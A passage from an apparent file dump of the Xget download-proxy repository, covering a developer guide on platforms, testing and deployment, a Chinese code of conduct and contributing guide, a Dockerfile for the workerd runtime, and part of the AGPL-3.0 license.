Uses separate `pypi-files` platform for file downloads\n\n#### crates.io\n\n- Adds `/api/v1/crates` prefix to all API requests\n- Handles search endpoint (`/?q=`) specially\n\n#### Jenkins\n\n- Adds `/current/` prefix to update center paths\n- Preserves `/experimental/` and `/download/` paths as-is\n\n#### Docker Registries\n\n- Handles authentication via token service\n- Uses manual redirect mode to strip Authorization headers before S3 redirects\n- Auto-retries with public token on 401 responses\n\n## Code Structure Conventions\n\n### File Organization\n\n```\nsrc/\n├── index.js                 # Main Worker entry point\n├── app/\n│   ├── handle-request.js    # Shared request pipeline\n│   └── request-context.js   # Protocol-aware request classification\n├── config/\n│   ├── index.js             # Runtime configuration\n│   ├── platform-catalog.js  # Platform base URLs\n│   └── platforms.js         # Compatibility exports\n├── protocols/\n│   ├── git.js               # Git protocol handler\n│   ├── docker.js            # Docker/OCI handler\n│   └── ai.js                # AI inference handler\n├── response/\n│   └── finalize-response.js # Response shaping and cache writes\n├── routing/\n│   ├── platform-index.js    # Platform matching order\n│   ├── platform-transformers.js\n│   └── resolve-target.js    # Upstream target resolution\n├── upstream/\n│   ├── cache.js             # Cache read helpers\n│   └── fetch-upstream.js    # Upstream transport and retries\n└── utils/\n    ├── validation.js        # Request validation\n    ├── security.js          # Security utilities\n    └── performance.js       # Performance monitoring\n\ntest/\n├── features/               # Feature tests\n├── platforms/              # Platform-specific tests\n├── unit/                   # Unit tests\n├── index.test.js          # Core Worker tests\n└── integration.test.js    # Integration tests\n```\n\n### Important Patterns\n\n#### Protocol Detection Order\n\n1. Check if Docker request (via `isDockerRequest()`)\n2. Check if Git request (via `isGitRequest()`)\n3. Check if Git LFS request (via `isGitLFSRequest()`)\n4. Check if AI request (via `isAIInferenceRequest()`)\n5. Default to standard file download\n\n#### Adding a New Platform\n\n1. Add platform entry to `PLATFORM_CATALOG` in `src/config/platform-catalog.js`\n2. If special path transformation needed, add a transformer in\n   `src/routing/platform-transformers.js`\n3. Add platform tests in `test/platforms/`\n4. Update README.md with platform documentation\n\n#### Retry Logic\n\n- Retries up to `MAX_RETRIES` times with linear backoff\n- Delay: `RETRY_DELAY_MS * attempts` (default: 1000ms, 2000ms, 3000ms)\n- Retries on: Network errors, timeouts, 5xx errors\n- Does NOT retry: 4xx errors (except Docker 401 which has special handling)\n\n#### Error Handling\n\n- All errors caught at top level in `handleRequest()`\n- Errors converted to JSON responses via `createErrorResponse()`\n- Performance metrics still added even on error paths\n\n## Testing Guidelines\n\n### Test Structure\n\n- **Unit tests** (`test/unit/`): Test individual functions in isolation\n- **Feature tests** (`test/features/`): Test specific features (auth, caching,\n  Git, performance)\n- **Platform tests** (`test/platforms/`): Test platform-specific transformations\n- **Integration tests** (`test/integration.test.js`): End-to-end request flows\n\n### Running Specific Tests\n\n```bash\n# Run specific test file\nnpm run test:run test/unit/platforms.test.js\n\n# Run tests matching pattern\nnpm run test:run -- --testNamePattern \"Docker\"\n\n# Run with coverage\nnpm run test:coverage\n```\n\n### Common Test Patterns\n\n```javascript\n// Mock request creation\nconst request = new Request('http://localhost/gh/microsoft/vscode', {\n  method: 'GET',\n  headers: { 'User-Agent': 'git/2.34.1' }\n});\n\n// Mock environment\nconst env = {};\nconst ctx = { waitUntil: () => {} };\n\n// Test the worker\nconst response = await worker.fetch(request, env, ctx);\nexpect(response.status).toBe(200);\n```\n\n## Deployment\n\n### Cloudflare Workers\n\n- Primary deployment target\n- Uses GitHub Actions for CI/CD (`.github/workflows/workers.yml`)\n- Requires `CLOUDFLARE_API_TOKEN` and `CLOUDFLARE_ACCOUNT_ID` secrets\n\n### Cloudflare Pages\n\n- Alternative deployment via adapter in `adapters/pages/`\n- Auto-synced from `main` branch to `pages` branch\n- Uses separate workflow (`.github/workflows/pages-cf.yml`)\n\n### Other Platforms\n\n- **Vercel/Netlify**: Uses Functions adapter in `adapters/functions/`\n- **Deno Deploy**: Uses Functions adapter (compatible format)\n- **Docker**: Multi-stage build using `workerd` runtime\n\n### Environment Variables\n\nConfigure in Cloudflare Workers dashboard or via `wrangler.toml`:\n\n- `TIMEOUT_SECONDS`: Override default timeout\n- `MAX_RETRIES`: Override retry count\n- `CACHE_DURATION`: Override cache TTL\n- `ALLOWED_METHODS`: Override allowed HTTP methods (comma-separated)\n- `ALLOWED_ORIGINS`: Override CORS origins (comma-separated)\n\n## Important Notes\n\n### Security Considerations\n\n- Never log or expose Authorization headers\n- Docker authentication tokens are stripped before S3 redirects\n- All responses include security headers (HSTS, CSP, X-Frame-Options, etc.)\n- Path length limited to prevent URL-based attacks (default: 2048 chars)\n\n### Performance Optimization\n\n- Use `ctx.waitUntil()` for cache writes to avoid blocking response\n- Range requests leverage cache when possible\n- Cloudflare edge caching (`cf` fetch options) for non-protocol requests\n- HTTP/3 enabled for supported clients\n\n### Git/Docker/AI Requests\n\n- Skip normal caching mechanisms\n- Allow POST/PUT/PATCH methods\n- Preserve all upstream headers\n- No performance headers added (to maintain protocol compatibility)\n\n### URL Rewriting\n\n- Only enabled for npm and PyPI platforms\n- Rewrites responses to point to Xget instance instead of upstream\n- Required for package managers to download dependencies through Xget\n\n## Common Tasks\n\n### Adding a New Platform\n\n1. Add to `PLATFORM_CATALOG` in `src/config/platform-catalog.js`\n2. If special transformation needed, update\n   `src/routing/platform-transformers.js`\n3. Add test in `test/platforms/`\n4. Update README.md documentation\n5. Test locally with `npm run dev`\n\n### Debugging Requests\n\n1. Use `npm run dev` to start local server\n2. Add `console.log()` statements in `src/app/handle-request.js` or the relevant\n   extracted pipeline module\n3. Check Wrangler dev server output\n4. Inspect `X-Performance-Metrics` header in responses\n\n### Fixing Test Failures\n\n1. Run specific failing test: `npm run test:run test/path/to/test.js`\n2. Check mock setup matches actual request pattern\n3. Verify platform configuration in `src/config/platform-catalog.js` and\n   `src/routing/platform-transformers.js`\n4. Run all tests before committing: `npm run test:run`\n"
  },
  {
    "path": "CODE_OF_CONDUCT.md",
    "content": "# 贡献者行为准则\n\n## 我们的承诺\n\n作为成员、贡献者和领导者，我们承诺让每个人都能在我们的社区中获得无骚扰的体验，无论其年龄、体型、明显或不明显的残疾、种族、性别特征、性别认同和表达、经验水平、教育程度、社会经济地位、国籍、外貌、种族、宗教或性取向如何。\n\n我们承诺以有助于建立开放、友好、多元、包容和健康社区的方式行事和互动。\n\n## 我们的标准\n\n有助于为我们社区创造积极环境的行为示例包括：\n\n* 对他人表现出同理心和善意\n* 尊重不同的观点、看法和经历\n* 给予并优雅地接受建设性反馈\n* 承担责任并向受我们错误影响的人道歉，并从经验中学习\n* 专注于不仅对我们个人最好，而且对整个社区最好的事情\n\n不可接受的行为示例包括：\n\n* 使用性化的语言或图像，以及任何形式的性关注或性挑逗\n* 恶意评论、侮辱性或贬损性评论，以及个人或政治攻击\n* 公开或私下骚扰\n* 未经明确许可发布他人的私人信息，如物理地址或电子邮件地址\n* 在专业环境中可能被合理认为不当的其他行为\n\n## 执行责任\n\n社区领导者有责任澄清和执行我们的可接受行为标准，并将对他们认为不当、威胁、冒犯或有害的任何行为采取适当和公平的纠正措施。\n\n社区领导者有权利和责任删除、编辑或拒绝与本行为准则不符的评论、提交、代码、wiki 编辑、问题和其他贡献，并在适当时传达审核决定的原因。\n\n## 适用范围\n\n本行为准则适用于所有社区空间，也适用于个人在公共空间正式代表社区的情况。代表我们社区的示例包括使用官方电子邮件地址、通过官方社交媒体账户发布信息，或在线上或线下活动中担任指定代表。\n\n## 执行\n\n可以向负责执行的社区领导者报告滥用、骚扰或其他不可接受的行为，联系邮箱：<i@xi-xu.me>。\n所有投诉都将得到及时和公正的审查和调查。\n\n所有社区领导者都有义务尊重任何事件报告者的隐私和安全。\n\n## 执行指南\n\n社区领导者将遵循这些社区影响指南来确定他们认为违反本行为准则的任何行为的后果：\n\n### 1. 纠正\n\n**社区影响**：使用不当语言或其他被认为在社区中不专业或不受欢迎的行为。\n\n**后果**：社区领导者的私人书面警告，澄清违规的性质并解释为什么该行为不当。可能会要求公开道歉。\n\n### 2. 警告\n\n**社区影响**：通过单一事件或一系列行为的违规。\n\n**后果**：对持续行为后果的警告。在指定时间内不得与相关人员互动，包括与执行行为准则的人员进行主动互动。这包括避免在社区空间以及社交媒体等外部渠道中的互动。违反这些条款可能导致临时或永久禁令。\n\n### 3. 临时禁令\n\n**社区影响**：严重违反社区标准，包括持续的不当行为。\n\n**后果**：在指定时间内禁止与社区进行任何形式的互动或公开交流。在此期间不允许与相关人员进行公开或私人互动，包括与执行行为准则的人员进行主动互动。违反这些条款可能导致永久禁令。\n\n### 4. 永久禁令\n\n**社区影响**：表现出违反社区标准的模式，包括持续的不当行为、对个人的骚扰或对某类个人的攻击或贬低。\n\n**后果**：永久禁止在社区内进行任何形式的公开互动。\n\n## 归属\n\n本行为准则改编自[贡献者公约][homepage] 2.0 版，可在 <https://www.contributor-covenant.org/version/2/0/code_of_conduct.html> 获取。\n\n社区影响指南的灵感来自 [Mozilla 的行为准则执行阶梯](https://github.com/mozilla/diversity)。\n\n有关本行为准则常见问题的答案，请参阅 <https://www.contributor-covenant.org/faq> 的常见问题解答。翻译版本可在 <https://www.contributor-covenant.org/translations> 获取。\n\n[homepage]: https://www.contributor-covenant.org\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# 贡献指南\n\n感谢您对 Xget 的关注！我们欢迎各种形式的贡献，包括但不限于代码、文档、测试、反馈和建议。\n\n## 🤝 贡献方式\n\n### 报告问题\n\n- 使用\n  [Issue 模板](https://github.com/xixu-me/Xget/issues/new/choose)报告 bug 或提出功能请求\n- 搜索现有 issues 避免重复报告\n- 提供详细的重现步骤和环境信息\n\n### 提交代码\n\n- fork 存储库到您的 GitHub 账户\n- 创建功能分支 (`git checkout -b feature/amazing-feature`)\n- 安装依赖以启用本地 Git hooks (`npm install`)\n- 使用 Conventional\n  Commits 提交更改 (`git commit -m 'feat(platforms): add amazing feature'`)\n- 推送到分支 (`git push origin feature/amazing-feature`)\n- 创建 Pull Request\n\n### 改进文档\n\n- 修正文档中的错误或不准确信息\n- 添加使用示例和最佳实践\n- 翻译文档到其他语言\n- 改进代码注释和 API 文档\n\n## 🛠️ 开发环境设置\n\n### 前置要求\n\n- Node.js 18+\n- npm 或 yarn\n- Git\n- Cloudflare 账户（用于测试部署）\n\n### 本地开发\n\n```bash\n# 克隆存储库\ngit clone https://github.com/xixu-me/Xget.git\ncd Xget\n\n# 安装依赖\nnpm install\n\n# 安装后会自动启用 commit-msg hook\n\n# 启动开发服务器\nnpm run dev\n\n# 单次运行测试\nnpm run test:run\n\n# 代码格式化\nnpm run format\n\n# 代码检查\nnpm run lint\n```\n\n## 📝 代码规范\n\n### 代码风格\n\n- 使用 2 个空格缩进\n- 使用分号结尾\n- 使用单引号字符串\n- 遵循 ESLint 配置规则\n\n### 命名约定\n\n- 变量和函数使用 camelCase\n- 常量使用 UPPER_SNAKE_CASE\n- 类名使用 PascalCase\n- 文件名使用 kebab-case\n\n### 注释规范\n\n```javascript\n/**\n * 函数描述\n * @param {string} param1 - 参数1描述\n * @param {Object} param2 - 参数2描述\n * @returns {Promise<Response>} 返回值描述\n */\nfunction exampleFunction(param1, param2) {\n  // 实现逻辑\n}\n```\n\n## 🧪 测试\n\n### 测试类型\n\n- **单元测试**: 测试单个函数和模块\n- **集成测试**: 测试组件间的交互\n- **端到端测试**: 测试完整的用户场景\n\n### 运行测试\n\n```bash\n# 单次运行所有测试\nnpm run test:run\n\n# 运行特定测试文件\nnpm run test:run test/platforms/jenkins.test.js\n\n# 按测试名称筛选\nnpm run test:run -- --testNamePattern \"platform\"\n\n# 生成测试覆盖率报告\nnpm run test:coverage\n```\n\n### 编写测试\n\n- 为新功能编写相应的测试\n- 确保测试覆盖率不低于 80%\n- 使用描述性的测试名称\n- 测试边界情况和错误处理\n\n## 🚀 提交规范\n\n### Commit 消息格式\n\n使用 [Conventional Commits](https://www.conventionalcommits.org/) 规范：\n\n```\n<type>[optional scope]: <description>\n\n[optional body]\n\n[optional footer(s)]\n```\n\n### 类型说明\n\n- `feat`: 新功能\n- `fix`: 修复 bug\n- `docs`: 文档更新\n- `style`: 代码格式化（不影响功能）\n- `refactor`: 代码重构\n- `perf`: 性能优化\n- `test`: 测试相关\n- `chore`: 构建过程或辅助工具的变动\n\n### 示例\n\n```bash\nfeat(platforms): add support for Bitbucket\nfix(cache): resolve cache invalidation issue\ndocs(readme): update installation instructions\nperf(proxy): optimize request handling performance\n```\n\n### 自动校验\n\n- `npm install` 会自动安装 `commit-msg` hook，在本地阻止不符合规范的提交\n- GitHub Actions 会在 `push` 和 `pull_request`\n  中再次校验提交消息，防止绕过本地 hook\n\n## 🔍 Pull Request 流程\n\n### 提交前检查\n\n- [ ] 代码通过所有测试\n- [ ] 代码符合存储库规范\n- [ ] 添加了必要的测试\n- [ ] 更新了相关文档\n- [ ] Commit 消息符合规范\n\n### PR 描述模板\n\n请使用 [PR 模板](.github/pull_request_template.md)填写详细信息。\n\n### 代码审查\n\n- 所有 PR 需要至少一个维护者的审查\n- 解决审查中提出的问题\n- 保持 PR 的焦点明确，避免混合多个不相关的更改\n\n## 🌟 贡献认可\n\n### 贡献者列表\n\n我们会在 README.md 中维护贡献者列表，感谢每一位贡献者的付出。\n\n### 贡献统计\n\n- 代码贡献会在 GitHub 贡献图中显示\n- 重要贡献会在 Release Notes 中特别提及\n- 长期贡献者可能被邀请成为存储库维护者\n\n## 📋 开发任务\n\n### 当前优先级\n\n1. **性能优化**: 提升缓存效率和响应速度\n2. **平台支持**: 添加新的代码托管和包管理平台\n3. **安全增强**: 加强请求验证和安全防护\n4. **监控改进**: 完善性能监控和错误追踪\n\n### 适合新手的任务\n\n查找标有 `good first issue` 标签的 issues，这些通常是：\n\n- 文档改进\n- 简单的 bug 修复\n- 代码格式化\n- 测试用例添加\n\n## 🤔 获取帮助\n\n### 沟通渠道\n\n- **GitHub Issues**: 报告问题和功能请求\n- **Email**: 敏感问题可发送至维护者邮箱\n\n### 常见问题\n\n**Q: 如何添加新平台支持？** A: 在 `src/config/platform-catalog.js`\n中添加平台地址；如果需要特殊路径转换，再更新\n`src/routing/platform-transformers.js`，然后补充相关文档和测试。\n\n**Q: 如何测试 Cloudflare Workers 功能？** A: 使用 `npm run dev`\n启动本地开发服务器，或部署到 Cloudflare Workers 测试环境。\n\n**Q: 如何处理跨域问题？** A: 检查 CORS 配置，确保允许的源和方法设置正确。\n\n## 📄 许可证\n\n通过贡献代码，您同意您的贡献将在与存储库相同的 [AGPL-3.0 许可证](LICENSE)\n下发布。\n\n## 🙏 致谢\n\n感谢所有为 Xget 做出贡献的开发者、测试者和用户。您的支持和反馈是存储库持续改进的动力！\n\n---\n\n如果您有任何问题或建议，请随时通过 GitHub Issues 与我们联系。我们期待您的参与！\n"
  },
  {
    "path": "Dockerfile",
    "content": "# --- Stage 1: build the Worker with Wrangler -----------------------\nFROM node:25-alpine AS builder\n\nWORKDIR /app\n\n# Install dependencies & wrangler\nCOPY package*.json wrangler.toml ./\nRUN npm ci\n\n# Copy source and build\nCOPY src ./src\nRUN npx wrangler deploy --dry-run --outdir=dist\n\n# --- Stage 2: minimal runtime with workerd -------------------------\nFROM node:25-slim AS runtime\nARG TARGETARCH\n\n# Install ca-certificates for SSL, then install workerd via npm\nRUN apt-get update && \\\n    apt-get install -y ca-certificates && \\\n    rm -rf /var/lib/apt/lists/* && \\\n    case \"${TARGETARCH}\" in \\\n      amd64) WORKERD_PKG=\"@cloudflare/workerd-linux-64\" ;; \\\n      arm64) WORKERD_PKG=\"@cloudflare/workerd-linux-arm64\" ;; \\\n      *) echo \"Unsupported TARGETARCH: ${TARGETARCH}\" && exit 1 ;; \\\n    esac && \\\n    npm install -g \"${WORKERD_PKG}\" && \\\n    ln -s \"/usr/local/lib/node_modules/${WORKERD_PKG}/bin/workerd\" /usr/local/bin/workerd && \\\n    workerd --version\n\nWORKDIR /worker\n\n# Bring in the compiled Worker bundle and config\nCOPY --from=builder /app/dist ./dist\nCOPY config.capnp ./config.capnp\n\n# Expose the port workerd listens on\nEXPOSE 8080\n\nCMD [\"workerd\", \"serve\", \"config.capnp\"]\n"
  },
  {
    "path": "LICENSE",
    "content": "GNU AFFERO GENERAL PUBLIC LICENSE\n                       Version 3, 19 November 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU Affero General Public License is a free, copyleft license for\nsoftware and other kinds of works, specifically designed to ensure\ncooperation with the community in the case of network server software.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nour General Public Licenses are intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  Developers that use our General Public Licenses protect your rights\nwith two steps: (1) assert copyright on the software, and (2) offer\nyou this License which gives you legal permission to copy, distribute\nand/or modify the software.\n\n  A secondary benefit of defending all users' freedom is that\nimprovements made in alternate versions of the program, if they\nreceive widespread use, become available for other developers to\nincorporate.  Many developers of free software are heartened and\nencouraged by the resulting cooperation.  However, in the case of\nsoftware used on network servers, this result may fail to come about.\nThe GNU General Public License permits making a modified version and\nletting the public access it on a server without ever releasing its\nsource code to the public.\n\n  The GNU Affero General Public License is designed specifically to\nensure that, in such cases, the modified source code becomes available\nto the community.  It requires the operator of a network server to\nprovide the source code of the modified version running there to the\nusers of that server.  Therefore, public use of a modified version, on\na publicly accessible server, gives the public access to the source\ncode of the modified version.\n\n  An older license, called the Affero General Public License and\npublished by Affero, was designed to accomplish similar goals.  This is\na different license, not a version of the Affero GPL, but Affero has\nreleased a new version of the Affero GPL which permits relicensing under\nthis license.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU Affero General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some 